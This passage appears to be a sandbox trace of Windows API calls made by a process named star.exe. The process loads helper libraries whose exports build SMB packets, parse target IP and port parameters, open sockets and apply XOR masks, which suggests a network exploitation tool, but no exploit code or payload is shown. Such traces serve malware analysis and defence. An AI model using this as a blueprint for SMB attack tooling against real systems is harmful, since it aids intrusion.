(hModule=0xea0000, lpProcName=0xaa) returned 0xed9e7e [0120.018] GetProcAddress (hModule=0xea0000, lpProcName=0x1e1) returned 0xecca85 [0120.018] GetProcAddress (hModule=0xea0000, lpProcName=0xe91) returned 0xed6b36 [0120.018] GetProcAddress (hModule=0xea0000, lpProcName=0x14d) returned 0xee5ed9 [0120.018] GetProcAddress (hModule=0xea0000, lpProcName=0xb63) returned 0xee5c04 [0120.018] GetProcAddress (hModule=0xea0000, lpProcName=0x448) returned 0xf129d4 [0120.018] GetProcAddress (hModule=0xea0000, lpProcName=0x449) returned 0xf12a1d [0120.018] GetProcAddress (hModule=0xea0000, lpProcName=0xee8) returned 0xed9fd1 [0120.018] GetProcAddress (hModule=0xea0000, lpProcName=0xf30) returned 0xef9659 [0120.018] GetProcAddress (hModule=0xea0000, lpProcName=0xf38) returned 0xef9659 [0120.018] GetProcAddress (hModule=0xea0000, lpProcName=0xa1d) returned 0xee4062 [0120.019] GetProcAddress (hModule=0xea0000, lpProcName=0x479) returned 0xf12a73 [0120.019] GetProcAddress (hModule=0xea0000, lpProcName=0x478) returned 0xf12a3c [0120.019] GetProcAddress (hModule=0xea0000, lpProcName=0x439) returned 0xee1708 [0120.019] GetProcAddress (hModule=0xea0000, lpProcName=0x8f4) returned 0xedd2e8 [0120.019] GetProcAddress (hModule=0xea0000, lpProcName=0xeef) returned 0xed9fc5 [0120.019] GetProcAddress (hModule=0xea0000, lpProcName=0xf06) returned 0xed9fab [0120.019] GetProcAddress (hModule=0xea0000, lpProcName=0x26e) returned 0xeff7cc [0120.019] GetProcAddress (hModule=0xea0000, lpProcName=0x2a7) returned 0xf00133 [0120.019] GetProcAddress (hModule=0xea0000, lpProcName=0x26f) returned 0xefff77 [0120.019] GetProcAddress (hModule=0xea0000, lpProcName=0xf52) returned 0xef6e03 [0120.019] GetProcAddress (hModule=0xea0000, lpProcName=0xb52) returned 0xf16bf7 [0120.019] GetProcAddress (hModule=0xea0000, lpProcName=0xc34) returned 0xf16c1b [0120.019] GetProcAddress (hModule=0xea0000, lpProcName=0xf55) returned 0xef6de8 [0120.020] GetProcAddress (hModule=0xea0000, lpProcName=0xa8e) returned 0xf16bdc [0120.020] GetProcAddress (hModule=0xea0000, lpProcName=0x108) returned 0xee475b [0120.020] GetProcAddress (hModule=0xea0000, lpProcName=0x10a) returned 0xee4467 [0120.020] GetProcAddress (hModule=0xea0000, lpProcName=0xcd8) returned 0xeac631 [0120.020] GetProcAddress (hModule=0xea0000, lpProcName=0xe78) returned 0xf1d679 [0120.020] GetProcAddress (hModule=0xea0000, lpProcName=0x55) returned 0xeda407 [0120.020] GetProcAddress (hModule=0xea0000, lpProcName=0xeb7) returned 0xf1d679 [0120.020] GetProcAddress (hModule=0xea0000, lpProcName=0xe3f) returned 0xf1d708 [0120.020] GetProcAddress (hModule=0xea0000, lpProcName=0xeb6) returned 0xf1d6b1 [0120.020] GetProcAddress (hModule=0xea0000, lpProcName=0xd25) returned 0xf1d64a [0120.020] GetProcAddress (hModule=0xea0000, lpProcName=0x1012) returned 0xf1d7a1 [0120.020] GetProcAddress (hModule=0xea0000, lpProcName=0xf11) returned 0xf087f4 [0120.020] GetProcAddress (hModule=0xea0000, lpProcName=0xd84) returned 0xef9659 [0120.021] GetProcAddress (hModule=0xea0000, lpProcName=0xd7e) returned 0xf1d718 [0120.021] GetProcAddress (hModule=0xea0000, lpProcName=0xeaa) returned 0xf1d78a [0120.021] GetProcAddress (hModule=0xea0000, lpProcName=0xd42) returned 0xf1d785 [0120.021] GetProcAddress (hModule=0xea0000, lpProcName=0xbb) returned 0xea1339 [0120.021] GetProcAddress (hModule=0xea0000, lpProcName=0x381) returned 0xedfbfe [0120.021] GetProcAddress (hModule=0xea0000, lpProcName=0xd56) returned 0xf03a10 [0120.021] GetProcAddress (hModule=0xea0000, lpProcName=0xda7) returned 0xf03a24 [0120.021] GetProcAddress (hModule=0xea0000, lpProcName=0x43) returned 0xeda4c0 [0120.021] GetProcAddress (hModule=0xea0000, lpProcName=0x41) returned 0xeda47e [0120.021] GetProcAddress (hModule=0xea0000, lpProcName=0x35) returned 0xeda5bd [0120.021] GetProcAddress (hModule=0xea0000, lpProcName=0x4e) returned 0xeda570 [0120.021] GetProcAddress (hModule=0xea0000, lpProcName=0x62) returned 0xedb400 [0120.021] GetProcAddress (hModule=0xea0000, lpProcName=0xef2) returned 0xee82c0 [0120.022] GetProcAddress (hModule=0xea0000, lpProcName=0xde7) returned 0xf1d2b2 [0120.022] GetProcAddress (hModule=0xea0000, lpProcName=0xd47) returned 0xf03a38 [0120.022] GetProcAddress (hModule=0xea0000, lpProcName=0x27c) returned 0xefe553 [0120.022] GetProcAddress (hModule=0xea0000, lpProcName=0x392) returned 0xedf56f [0120.022] GetProcAddress (hModule=0xea0000, lpProcName=0x9ae) returned 0xf13ce9 [0120.022] GetProcAddress (hModule=0xea0000, lpProcName=0x272) returned 0xf01c04 [0120.022] GetProcAddress (hModule=0xea0000, lpProcName=0x37a) returned 0xedf79d [0120.022] GetProcAddress (hModule=0xea0000, lpProcName=0x3ec) returned 0xea2fc1 [0120.022] GetProcAddress (hModule=0xea0000, lpProcName=0xdc7) returned 0xf039a0 [0120.022] GetProcAddress (hModule=0xea0000, lpProcName=0x16c) returned 0xee320f [0120.022] GetProcAddress (hModule=0xea0000, lpProcName=0x3f2) returned 0xee646a [0120.022] GetProcAddress (hModule=0xea0000, lpProcName=0x803) returned 0xf08e20 [0120.022] GetProcAddress (hModule=0xea0000, lpProcName=0x3a) returned 0xedbf51 [0120.023] GetProcAddress (hModule=0xea0000, lpProcName=0x42) returned 0xed9f37 [0120.023] GetProcAddress (hModule=0xea0000, lpProcName=0x276) returned 0xefdeac [0120.023] GetProcAddress (hModule=0xea0000, lpProcName=0x274) returned 0xefdf02 [0120.023] GetProcAddress (hModule=0xea0000, lpProcName=0x411) returned 0xea2f7b [0120.023] GetProcAddress (hModule=0xea0000, lpProcName=0x3ef) returned 0xea2fd7 [0120.023] GetProcAddress (hModule=0xea0000, lpProcName=0x3ed) returned 0xea305f [0120.023] GetProcAddress (hModule=0xea0000, lpProcName=0x403) returned 0xea2f95 [0120.023] GetProcAddress (hModule=0xea0000, lpProcName=0xd32) returned 0xf03c14 [0120.023] GetProcAddress (hModule=0xea0000, lpProcName=0xd6d) returned 0xf03979 [0120.023] GetProcAddress (hModule=0xea0000, lpProcName=0x21d) returned 0xef6dd6 [0120.023] GetProcAddress (hModule=0xea0000, lpProcName=0x13c) returned 0xee55eb [0120.023] GetProcAddress (hModule=0xea0000, lpProcName=0x275) returned 0xf01b42 [0120.023] GetProcAddress (hModule=0xea0000, lpProcName=0x37c) returned 0xedfa67 [0120.024] GetProcAddress (hModule=0xea0000, lpProcName=0x4a) returned 0xf1d2b2 [0120.024] GetProcAddress (hModule=0xea0000, lpProcName=0xf1a) returned 0xed9fb9 [0120.024] GetProcAddress (hModule=0xea0000, lpProcName=0xf8) returned 0xee1902 [0120.024] GetProcAddress (hModule=0xea0000, lpProcName=0x677) returned 0xedf5e1 [0120.024] GetProcAddress (hModule=0xea0000, lpProcName=0x23f) returned 0xeef0d2 [0120.024] GetProcAddress (hModule=0xea0000, lpProcName=0x401) returned 0xea2fab [0120.024] GetProcAddress (hModule=0xea0000, lpProcName=0xf6) returned 0xee210e [0120.024] GetProcAddress (hModule=0xea0000, lpProcName=0x44c) returned 0xeff5da [0120.024] GetProcAddress (hModule=0xea0000, lpProcName=0x9dc) returned 0xeff86e [0120.024] GetProcAddress (hModule=0xea0000, lpProcName=0xe1a) returned 0xf03cdc [0120.024] GetProcAddress (hModule=0xea0000, lpProcName=0xdb1) returned 0xed6ef3 [0120.024] GetProcAddress (hModule=0xea0000, lpProcName=0xe0b) returned 0xeff882 [0120.024] GetProcAddress (hModule=0xea0000, lpProcName=0x3ff) returned 0xeff5f8 [0120.025] GetProcAddress (hModule=0xea0000, lpProcName=0x291) returned 0xefe132 [0120.025] GetProcAddress (hModule=0xea0000, lpProcName=0x191) returned 0xefd49b [0120.025] GetProcAddress (hModule=0xea0000, lpProcName=0x5d) returned 0xedaeaf [0120.025] GetProcAddress (hModule=0xea0000, lpProcName=0xd44) returned 0xea3671 [0120.025] GetProcAddress (hModule=0xea0000, lpProcName=0xe49) returned 0xea359d [0120.025] GetProcAddress (hModule=0xea0000, lpProcName=0xfcd) returned 0xf146a3 [0120.025] GetProcAddress (hModule=0xea0000, lpProcName=0x9ab) returned 0xf13c92 [0120.025] GetProcAddress (hModule=0xea0000, lpProcName=0x377) returned 0xedfba1 [0120.025] GetProcAddress (hModule=0xea0000, lpProcName=0x379) returned 0xedf834 [0120.025] GetProcAddress (hModule=0xea0000, lpProcName=0x37b) returned 0xedfb25 [0120.025] GetProcAddress (hModule=0xea0000, lpProcName=0x13b) returned 0xee55dd [0120.025] GetProcAddress (hModule=0xea0000, lpProcName=0x47b) returned 0xf12d1b [0120.025] GetProcAddress (hModule=0xea0000, lpProcName=0xbd) returned 0xea2221 [0120.026] GetProcAddress (hModule=0xea0000, lpProcName=0x13a) returned 0xee7c15 [0120.026] GetProcAddress (hModule=0xea0000, lpProcName=0x687) returned 0xedf603 [0120.026] GetProcAddress (hModule=0xea0000, lpProcName=0x3bc) returned 0xecce66 [0120.026] GetProcAddress (hModule=0xea0000, lpProcName=0x118) returned 0xee688d [0120.026] GetProcAddress (hModule=0xea0000, lpProcName=0x885) returned 0xf02a39 [0120.026] GetProcAddress (hModule=0xea0000, lpProcName=0x18f) returned 0xefdbeb [0120.026] GetProcAddress (hModule=0xea0000, lpProcName=0x2ec) returned 0xeefdd3 [0120.026] GetProcAddress (hModule=0xea0000, lpProcName=0x117) returned 0xee6997 [0120.026] GetProcAddress (hModule=0xea0000, lpProcName=0x11b) returned 0xee66cf [0120.026] GetProcAddress (hModule=0xea0000, lpProcName=0x190) returned 0xefcd44 [0120.026] GetProcAddress (hModule=0xea0000, lpProcName=0x2ef) returned 0xf025c6 [0120.026] GetProcAddress (hModule=0xea0000, lpProcName=0x2ee) returned 0xecca0f [0120.026] GetProcAddress (hModule=0xea0000, lpProcName=0x306) returned 0xf023f7 [0120.027] GetProcAddress (hModule=0xea0000, lpProcName=0xc85) returned 0xee1948 [0120.027] GetProcAddress (hModule=0xea0000, lpProcName=0x7a7) returned 0xefd525 [0120.027] GetProcAddress (hModule=0xea0000, lpProcName=0x25) returned 0xef9753 [0120.027] GetProcAddress (hModule=0xea0000, lpProcName=0x23) returned 0xef93f8 [0120.027] GetProcAddress (hModule=0xea0000, lpProcName=0x338) returned 0xef526c [0120.027] GetProcAddress (hModule=0xea0000, lpProcName=0x336) returned 0xef5167 [0120.027] GetProcAddress (hModule=0xea0000, lpProcName=0x8) returned 0xeeb6fe [0120.027] GetProcAddress (hModule=0xea0000, lpProcName=0x443) returned 0xef95f5 [0120.027] GetProcAddress (hModule=0xea0000, lpProcName=0xe74) returned 0xef9477 [0120.027] GetProcAddress (hModule=0xea0000, lpProcName=0xdb9) returned 0xed9e2c [0120.027] GetProcAddress (hModule=0xea0000, lpProcName=0xe27) returned 0xef931c [0120.027] GetProcAddress (hModule=0xea0000, lpProcName=0x20) returned 0xef9660 [0120.027] GetProcAddress (hModule=0xea0000, lpProcName=0x2ce) returned 0xef5251 [0120.028] GetProcAddress (hModule=0xea0000, lpProcName=0x7) returned 0xeeb7c8 [0120.028] GetProcAddress (hModule=0xea0000, lpProcName=0x2cc) returned 0xef514c [0120.028] GetProcAddress (hModule=0xea0000, lpProcName=0x2bf) returned 0xef97e4 [0120.028] GetProcAddress (hModule=0xea0000, lpProcName=0x2a8) returned 0xf02a85 [0120.028] GetProcAddress (hModule=0xea0000, lpProcName=0x97a) returned 0xedd5cd [0120.028] GetProcAddress (hModule=0xea0000, lpProcName=0x56) returned 0xedd2d2 [0120.028] GetProcAddress (hModule=0xea0000, lpProcName=0x58) returned 0xeda13a [0120.028] GetProcAddress (hModule=0xea0000, lpProcName=0xcf1) returned 0xee5f7f [0120.028] GetProcAddress (hModule=0xea0000, lpProcName=0xcf0) returned 0xee5f79 [0120.028] GetProcAddress (hModule=0xea0000, lpProcName=0xcf2) returned 0xee5f26 [0120.028] GetProcAddress (hModule=0xea0000, lpProcName=0x44d) returned 0xee29b9 [0120.028] GetProcAddress (hModule=0xea0000, lpProcName=0x125) returned 0xee5563 [0120.028] GetProcAddress (hModule=0xea0000, lpProcName=0xbb4) returned 0xee5423 [0120.029] GetProcAddress (hModule=0xea0000, lpProcName=0xc53) returned 0xee5362 [0120.029] GetProcAddress (hModule=0xea0000, lpProcName=0x145) returned 0xee5773 [0120.029] GetProcAddress (hModule=0xea0000, lpProcName=0x149) returned 0xee52d7 [0120.029] GetProcAddress (hModule=0xea0000, lpProcName=0x13e) returned 0xee4f51 [0120.029] GetProcAddress (hModule=0xea0000, lpProcName=0x130) returned 0xee51d7 [0120.029] GetProcAddress (hModule=0xea0000, lpProcName=0x124) returned 0xee552e [0120.029] GetProcAddress (hModule=0xea0000, lpProcName=0x12b) returned 0xee4d18 [0120.029] GetProcAddress (hModule=0xea0000, lpProcName=0x3bb) returned 0xeda4e5 [0120.029] GetProcAddress (hModule=0xea0000, lpProcName=0x8cc) returned 0xeda31b [0120.029] GetProcAddress (hModule=0xea0000, lpProcName=0x5b) returned 0xedba67 [0120.029] GetProcAddress (hModule=0xea0000, lpProcName=0xf7) returned 0xee1cfe [0120.029] GetProcAddress (hModule=0xea0000, lpProcName=0xe1) returned 0xee1dad [0120.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdafa0c | out: lpSystemTimeAsFileTime=0xdafa0c*(dwLowDateTime=0x9c01e340, dwHighDateTime=0x1d5ca1f)) [0120.030] GetCurrentProcessId () returned 0x141c [0120.030] GetCurrentThreadId () returned 0x1420 [0120.030] GetTickCount () returned 0x1165d1e [0120.030] QueryPerformanceCounter (in: lpPerformanceCount=0xdafa04 | out: lpPerformanceCount=0xdafa04*=26113971951) returned 1 [0120.030] malloc (_Size=0x80) returned 0x10bd460 [0120.034] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76e10000 [0120.034] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0120.034] VirtualProtect (in: lpAddress=0x40015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0xdaff68 | out: lpflOldProtect=0xdaff68*=0x2) returned 1 [0120.034] VirtualProtect (in: lpAddress=0x40015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0xdaff68 | out: lpflOldProtect=0xdaff68*=0x4) returned 1 [0120.034] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76e10000 [0120.035] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0120.035] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0120.035] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0120.035] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0120.035] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleA") returned 0x76e21245 [0120.035] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0120.035] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0120.035] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0120.035] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0120.035] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedCompareExchange") returned 0x76e21484 [0120.035] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0120.035] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedExchange") returned 0x76e21462 [0120.036] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0120.036] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0120.036] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0120.036] GetModuleHandleA (lpModuleName="trfo-2.dll") returned 0x10000000 [0120.036] GetProcAddress (hModule=0x10000000, lpProcName="TfReadFileIntoBuffer") returned 0x100031c0 [0120.036] GetProcAddress (hModule=0x10000000, lpProcName="TfFree") returned 0x1000309f [0120.036] GetProcAddress (hModule=0x10000000, lpProcName="TfWriteBufferIntoFile") returned 0x10003271 [0120.036] GetProcAddress (hModule=0x10000000, lpProcName="TfStrICmp") returned 0x10001760 [0120.036] GetModuleHandleA (lpModuleName="trch-1.dll") returned 0x140000 [0120.036] GetProcAddress (hModule=0x140000, lpProcName="Parameter_U32_getValue") returned 0x1486f9 [0120.036] GetProcAddress (hModule=0x140000, lpProcName="Parameter_LocalFile_getValue") returned 0x14688b [0120.036] GetProcAddress (hModule=0x140000, lpProcName="Parameter_Port_getValue") returned 0x147f65 [0120.037] GetProcAddress (hModule=0x140000, lpProcName="Parameter_IPv4_getValue") returned 0x146827 [0120.037] GetProcAddress (hModule=0x140000, lpProcName="Params_findParameter") returned 0x144999 [0120.037] GetProcAddress (hModule=0x140000, lpProcName="Parameter_S16_getValue") returned 0x14549a [0120.037] GetProcAddress (hModule=0x140000, lpProcName="Params_findParamchoice") returned 0x14495d [0120.037] GetProcAddress (hModule=0x140000, lpProcName="Paramchoice_getValue") returned 0x143985 [0120.037] GetProcAddress (hModule=0x140000, lpProcName="Parameter_String_getValue") returned 0x1467f5 [0120.037] GetModuleHandleA (lpModuleName="tucl-1.dll") returned 0x73c40000 [0120.037] GetProcAddress (hModule=0x73c40000, lpProcName="TcLog") returned 0x73c4102d [0120.037] GetModuleHandleA (lpModuleName="WS2_32.dll") returned 0x75360000 [0120.037] GetProcAddress (hModule=0x75360000, lpProcName=0xb) returned 0x7536311b [0120.037] GetProcAddress (hModule=0x75360000, lpProcName=0xc) returned 0x7536b131 [0120.037] GetProcAddress (hModule=0x75360000, lpProcName=0x9) returned 0x75362d8b [0120.037] GetModuleHandleA (lpModuleName="coli-0.dll") returned 0x30000 [0120.038] GetProcAddress (hModule=0x30000, lpProcName="mainWrapper") returned 0x31c21 [0120.038] GetProcAddress (hModule=0x30000, lpProcName="coli_setProcess") returned 0x31046 [0120.038] GetProcAddress (hModule=0x30000, lpProcName="coli_setID") returned 0x31036 [0120.038] GetProcAddress (hModule=0x30000, lpProcName="coli_setCleanup") returned 0x31027 [0120.038] GetProcAddress (hModule=0x30000, lpProcName="coli_delete") returned 0x31021 [0120.038] GetProcAddress (hModule=0x30000, lpProcName="coli_create") returned 0x31000 [0120.038] GetProcAddress (hModule=0x30000, lpProcName="coli_setValidate") returned 0x31056 [0120.038] GetModuleHandleA (lpModuleName="tibe-2.dll") returned 0x73bf0000 [0120.038] GetProcAddress (hModule=0x73bf0000, lpProcName="TbPutAlign") returned 0x73bfab5d [0120.038] GetProcAddress (hModule=0x73bf0000, lpProcName="TbPutLong") returned 0x73bfaba6 [0120.038] GetProcAddress (hModule=0x73bf0000, lpProcName="TbPutBuff") returned 0x73bfa064 [0120.038] GetProcAddress (hModule=0x73bf0000, lpProcName="TbWinsockStartup") returned 0x73c211f0 [0120.039] GetProcAddress (hModule=0x73bf0000, lpProcName="TbFreeStructBuffers") returned 0x73c1fda7 [0120.039] GetProcAddress (hModule=0x73bf0000, lpProcName="TbFinishSocket") returned 0x73c212d1 [0120.039] GetProcAddress (hModule=0x73bf0000, lpProcName="TbCleanSB") returned 0x73c1e403 [0120.039] GetProcAddress (hModule=0x73bf0000, lpProcName="TbDoSmbPacket") returned 0x73c0c151 [0120.039] GetProcAddress (hModule=0x73bf0000, lpProcName="TbMakeSmbHeader") returned 0x73c0aa19 [0120.039] GetProcAddress (hModule=0x73bf0000, lpProcName="TbPutTransact") returned 0x73c13c3a [0120.039] GetProcAddress (hModule=0x73bf0000, lpProcName="TbPutShort") returned 0x73bfabbe [0120.039] GetProcAddress (hModule=0x73bf0000, lpProcName="TbPutByte") returned 0x73bfabd6 [0120.039] GetProcAddress (hModule=0x73bf0000, lpProcName="TbSetRemoteSocketData") returned 0x73c1d34e [0120.039] GetProcAddress (hModule=0x73bf0000, lpProcName="TbMakeSocket") returned 0x73c21a08 [0120.039] GetProcAddress (hModule=0x73bf0000, lpProcName="TbSetAuthenticationData") returned 0x73c1d435 [0120.039] GetProcAddress (hModule=0x73bf0000, lpProcName="TbDoSmbStartup") returned 0x73c0b262 [0120.040] GetProcAddress (hModule=0x73bf0000, lpProcName="TbInitStruct") returned 0x73c1ff80 [0120.040] GetModuleHandleA (lpModuleName="cnli-1.dll") returned 0x1f0000 [0120.040] GetProcAddress (hModule=0x1f0000, lpProcName="CNEString_strstr") returned 0x1f8774 [0120.040] GetProcAddress (hModule=0x1f0000, lpProcName="CNEString_vsnprintf") returned 0x1f85c9 [0120.040] GetProcAddress (hModule=0x1f0000, lpProcName="byteSwapShort") returned 0x1f5b6e [0120.040] GetProcAddress (hModule=0x1f0000, lpProcName="CNEMem_cleanNClearNDestroyPointer") returned 0x1f594a [0120.040] GetProcAddress (hModule=0x1f0000, lpProcName="CNESocket_close") returned 0x1f6e8d [0120.040] GetProcAddress (hModule=0x1f0000, lpProcName="CNEMem_cleanNClear") returned 0x1f5807 [0120.040] GetProcAddress (hModule=0x1f0000, lpProcName="CNESocket_send") returned 0x1f6fe9 [0120.040] GetProcAddress (hModule=0x1f0000, lpProcName="CNESocket_recv") returned 0x1f7247 [0120.040] GetProcAddress (hModule=0x1f0000, lpProcName="CNESocket_getOSError") returned 0x1f7a3d [0120.040] GetProcAddress (hModule=0x1f0000, lpProcName="CNESocket_create") returned 0x1f7dd1 [0120.040] GetProcAddress (hModule=0x1f0000, lpProcName="byteSwapLong") returned 0x1f5b83 [0120.041] GetProcAddress (hModule=0x1f0000, lpProcName="CNE_allocateCleanMemoryFunc") returned 0x1f5886 [0120.041] GetProcAddress (hModule=0x1f0000, lpProcName="CNEString_strlen") returned 0x1f84fe [0120.041] GetProcAddress (hModule=0x1f0000, lpProcName="CNESystemWin_sleep") returned 0x2003b8 [0120.041] GetProcAddress (hModule=0x1f0000, lpProcName="CNESocket_connect") returned 0x1f6e08 [0120.041] GetModuleHandleA (lpModuleName="xdvl-0.dll") returned 0x220000 [0120.041] GetProcAddress (hModule=0x220000, lpProcName="XDevLib_generateRandomSequence") returned 0x225ac2 [0120.041] GetProcAddress (hModule=0x220000, lpProcName="XDevLib_xorMask") returned 0x225c21 [0120.041] GetModuleHandleA (lpModuleName="SSLEAY32.dll") returned 0x240000 [0120.041] GetProcAddress (hModule=0x240000, lpProcName=0x60) returned 0x258b92 [0120.041] GetProcAddress (hModule=0x240000, lpProcName=0xac) returned 0x24ec3d [0120.041] GetProcAddress (hModule=0x240000, lpProcName=0xc) returned 0x258cfb [0120.041] GetProcAddress (hModule=0x240000, lpProcName=0x15) returned 0x257b74 [0120.042] GetProcAddress (hModule=0x240000, lpProcName=0x4b) returned 0x258790 [0120.042] GetProcAddress (hModule=0x240000, lpProcName=0x57) returned 0x256ddf [0120.042] GetProcAddress (hModule=0x240000, lpProcName=0x2b) returned 0x259479 [0120.042] GetProcAddress (hModule=0x240000, lpProcName=0x30) returned 0x2589f9 [0120.042] GetProcAddress (hModule=0x240000, lpProcName=0x8) returned 0x257a4f [0120.042] GetProcAddress (hModule=0x240000, lpProcName=0x6c) returned 0x257300 [0120.042] GetProcAddress (hModule=0x240000, lpProcName=0x4e) returned 0x257269 [0120.042] GetProcAddress (hModule=0x240000, lpProcName=0x3a) returned 0x258ff4 [0120.042] GetProcAddress (hModule=0x240000, lpProcName=0xb7) returned 0x25f01f [0120.042] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x76b40000 [0120.042] GetProcAddress (hModule=0x76b40000, lpProcName="_controlfp") returned 0x76b4e1e1 [0120.042] GetProcAddress (hModule=0x76b40000, lpProcName="?terminate@@YAXXZ") returned 0x76b961cf [0120.042] GetProcAddress (hModule=0x76b40000, lpProcName="_unlink") returned 0x76b62069 [0120.043] GetProcAddress (hModule=0x76b40000, lpProcName="memset") returned 0x76b49790 [0120.043] GetProcAddress (hModule=0x76b40000, lpProcName="memcpy") returned 0x76b49910 [0120.043] GetProcAddress (hModule=0x76b40000, lpProcName="srand") returned 0x76b4f757 [0120.043] GetProcAddress (hModule=0x76b40000, lpProcName="memmove") returned 0x76b49e5a [0120.043] GetProcAddress (hModule=0x76b40000, lpProcName="__getmainargs") returned 0x76b52bc0 [0120.043] GetProcAddress (hModule=0x76b40000, lpProcName="_cexit") returned 0x76b537d4 [0120.043] GetProcAddress (hModule=0x76b40000, lpProcName="_exit") returned 0x76bab2c0 [0120.043] GetProcAddress (hModule=0x76b40000, lpProcName="_XcptFilter") returned 0x76b6dc75 [0120.043] GetProcAddress (hModule=0x76b40000, lpProcName="exit") returned 0x76b536aa [0120.043] GetProcAddress (hModule=0x76b40000, lpProcName="_initterm") returned 0x76b4c151 [0120.043] GetProcAddress (hModule=0x76b40000, lpProcName="_amsg_exit") returned 0x76bab2ef [0120.043] GetProcAddress (hModule=0x76b40000, lpProcName="__setusermatherr") returned 0x76bd77ad [0120.044] GetProcAddress (hModule=0x76b40000, lpProcName="_adjust_fdiv") returned 0x76be32ec [0120.044] GetProcAddress (hModule=0x76b40000, lpProcName="__p__commode") returned 0x76b527c3 [0120.044] GetProcAddress (hModule=0x76b40000, lpProcName="__p__fmode") returned 0x76b527ce [0120.044] GetProcAddress (hModule=0x76b40000, lpProcName="__set_app_type") returned 0x76b52804 [0120.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdaff7c | out: lpSystemTimeAsFileTime=0xdaff7c*(dwLowDateTime=0x9c0444a0, dwHighDateTime=0x1d5ca1f)) [0120.044] GetCurrentProcessId () returned 0x141c [0120.044] GetCurrentThreadId () returned 0x1420 [0120.044] GetTickCount () returned 0x1165d2e [0120.044] QueryPerformanceCounter (in: lpPerformanceCount=0xdaff74 | out: lpPerformanceCount=0xdaff74*=26115389749) returned 1 [0120.044] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0120.044] __set_app_type (_Type=0x1) [0120.044] __p__fmode () returned 0x76be31f4 [0120.044] __p__commode () returned 0x76be31fc [0120.044] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4041a4) returned 0x0 [0120.045] __getmainargs (in: _Argc=0x40bde4, _Argv=0x40bdec, _Env=0x40bde8, _DoWildCard=0, _StartInfo=0x40bdf8 | out: _Argc=0x40bde4, _Argv=0x40bdec, _Env=0x40bde8) returned 0 [0120.045] calloc (_Count=0x1, _Size=0x10) returned 0x10bf9f0 [0120.045] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xdafd24 | out: lpWSAData=0xdafd24) returned 0 [0120.053] strlen (_Str="star.exe") returned 0x8 [0120.053] calloc (_Count=0x9, _Size=0x1) returned 0x10bfa08 [0120.053] strlen (_Str="star.exe") returned 0x8 [0120.053] strlen (_Str=".exe") returned 0x4 [0120.053] strlen (_Str="star") returned 0x4 [0120.053] calloc (_Count=0x9, _Size=0x1) returned 0x10bfa20 [0120.053] strncpy (in: _Dest=0x10bfa20, _Source="star", _Count=0x4 | out: _Dest="star") returned="star" [0120.053] _mbscat (in: param_1=0x10bfa20, param_2=0x3320c | out: param_1=0x10bfa20) returned 0x10bfa20 [0120.053] calloc (_Count=0x1, _Size=0x24) returned 0x10bfa38 [0120.053] strlen (_Str="star") returned 0x4 [0120.053] calloc (_Count=0x5, _Size=0x1) returned 0x10bfa68 [0120.053] _mbscpy (in: param_1=0x10bfa68, param_2=0x10bfa08 | out: param_1=0x10bfa68) returned 0x10bfa68 [0120.053] strlen (_Str="") returned 0x0 [0120.053] calloc (_Count=0x1, _Size=0x1) returned 0x10bfa78 [0120.053] _mbscpy (in: param_1=0x10bfa78, param_2=0x33208 | out: param_1=0x10bfa78) returned 0x10bfa78 [0120.053] strlen (_Str="urn:trch") returned 0x8 [0120.053] calloc (_Count=0x9, _Size=0x1) returned 0x10bfa88 [0120.054] _mbscpy (in: param_1=0x10bfa88, param_2=0x14c190 | out: param_1=0x10bfa88) returned 0x10bfa88 [0120.054] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.054] strlen (_Str="2.1.0") returned 0x5 [0120.054] calloc (_Count=0x6, _Size=0x1) returned 0x10bfaa0 [0120.054] _mbscpy (in: param_1=0x10bfaa0, param_2=0x14c4a0 | out: param_1=0x10bfaa0) returned 0x10bfaa0 [0120.054] calloc (_Count=0x1, _Size=0x1c) returned 0x10bfab0 [0120.054] strlen (_Str="inputparameters") returned 0xf [0120.054] calloc (_Count=0x10, _Size=0x1) returned 0x10bfad8 [0120.054] _mbscpy (in: param_1=0x10bfad8, param_2=0x331f8 | out: param_1=0x10bfad8) returned 0x10bfad8 [0120.054] strlen (_Str="urn:trch") returned 0x8 [0120.054] calloc (_Count=0x9, _Size=0x1) returned 0x10bfb08 [0120.054] _mbscpy (in: param_1=0x10bfb08, param_2=0x14c190 | out: param_1=0x10bfb08) returned 0x10bfb08 [0120.054] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.054] strlen (_Str="2.1.0") returned 0x5 [0120.054] calloc (_Count=0x6, _Size=0x1) returned 0x10bfef0 [0120.054] _mbscpy (in: param_1=0x10bfef0, param_2=0x14c4a0 | out: param_1=0x10bfef0) returned 0x10bfef0 [0120.054] calloc (_Count=0x1, _Size=0x4) returned 0x10bff00 [0120.054] calloc (_Count=0x1, _Size=0x4) returned 0x10bff10 